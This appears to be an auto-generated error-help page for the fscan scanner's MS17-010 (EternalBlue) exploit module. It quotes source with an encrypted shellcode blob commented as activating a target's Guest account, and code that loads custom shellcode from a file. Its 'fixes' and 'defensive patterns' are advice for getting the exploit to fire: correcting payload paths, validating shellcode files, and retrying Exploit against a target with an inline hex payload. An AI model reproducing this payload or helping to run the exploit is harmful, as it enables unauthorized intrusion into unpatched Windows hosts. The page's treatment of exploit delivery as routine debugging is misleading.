shadow1ng/fscan · error

ms17010_shellcode_file_read_failed: %w

Error message

ms17010_shellcode_file_read_failed: %w

What it means

This error is returned by executeMS17010Exploit (invoked via Exploit) in the default shellcode branch when config.Shellcode contains the "file:" prefix and os.ReadFile fails to read the path following that prefix. The payload is expected to be loaded from a local file and hex-encoded; the read failure aborts the exploit before anything is sent to the target. The wrapped %w error carries the underlying OS reason (e.g. no such file, permission denied).

Source

Thrown at plugins/services/ms17010.go:453

	case "guest":
		// 激活Guest账户 shellcode (加密)
		scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
		}

	case "cs":
		sc = ""

	default:
		// 从文件读取或直接使用提供的shellcode
		shellcode := config.Shellcode
		if strings.Contains(shellcode, "file:") {
			read, err := os.ReadFile(shellcode[5:])
			if err != nil {
				return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err)
			}
			sc = fmt.Sprintf("%x", read)
		} else {
			sc = shellcode
		}
	}

	// 验证shellcode有效性
	if len(sc) < 20 {
		return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode"))
	}

	// 解码shellcode
	scBytes, err := hex.DecodeString(sc)
	if err != nil {
		return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err)
	}

View on GitHub (pinned to 95cc12e753)

Solutions

  1. Verify the path exists and is readable: check the file with ls/stat and ensure the scanner process user has read permission (try sudo or chown/chmod).
  2. Use an absolute path in config.Shellcode (e.g. "file:/opt/payloads/sc.bin") to avoid working-directory surprises, keeping the prefix exactly "file:" (5 characters).
  3. Read the wrapped %w error: 'no such file or directory' means fix the path; 'permission denied' means fix ownership/ACL/SELinux; 'is a directory' means point at the binary file itself.
  4. As a fallback, paste the shellcode as a hex string directly into config.Shellcode instead of using the file: form.

Example fix

// before
config.Shellcode = "file:payload.bin" // relative path, wrong CWD
// after
config.Shellcode = "file:/opt/payloads/shellcode.bin" // absolute, readable path
Defensive patterns

Strategy: validation

Validate before calling

// validate the file: payload path before calling Exploit
sc := config.Shellcode
if strings.Contains(sc, "file:") {
    path := sc[len("file:"):]
    fi, err := os.Stat(path)
    if err != nil {
        return fmt.Errorf("shellcode file not accessible: %w", err)
    }
    if fi.IsDir() {
        return fmt.Errorf("shellcode path is a directory: %s", path)
    }
    f, err := os.OpenFile(path, os.O_RDONLY, 0)
    if err != nil {
        return fmt.Errorf("shellcode file unreadable: %w", err)
    }
    f.Close()
}

Type guard

func isReadableShellcodeFile(shellcode string) bool {
    const prefix = "file:"
    if !strings.HasPrefix(shellcode, prefix) {
        return true // raw hex payload, nothing to check
    }
    path := shellcode[len(prefix):]
    fi, err := os.Stat(path)
    return err == nil && !fi.IsDir()
}

Try / catch

if err := Exploit(target, config.Shellcode); err != nil {
    if strings.Contains(err.Error(), "ms17010_shellcode_file_read_failed") {
        log.Printf("payload file problem for %s: %v", target, err)
        // fall back to inline hex payload
        err = Exploit(target, inlineHexShellcode)
    }
    if err != nil { log.Printf("exploit failed: %v", err) }
}

Prevention

When it happens

Trigger: Calling Exploit with config.Shellcode set to a string containing "file:" (e.g. "file:/path/shellcode.bin") where the path does not exist, is unreadable by the process user, is a directory, or the prefix handling yields a wrong path — note shellcode[5:] strips exactly 5 chars, so anything other than the literal 5-character prefix "file:" corrupts the extracted path.

Common situations: Typo in the path or relative path resolved against an unexpected working directory; file not deployed on the scanning host; permission denied running the scanner as a non-root user; writing "file:" with different casing or extra characters so shellcode[5:] points at the wrong path; SELinux/AppArmor blocking reads.

Understand the failure class

Background: "failed to read file", EACCES, ENOENT and "could not read <path>" errors: when a program can't read a file from disk — this error's family across 49 libraries.

Related errors


AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/0734287a601a8b65. Report an issue: GitHub.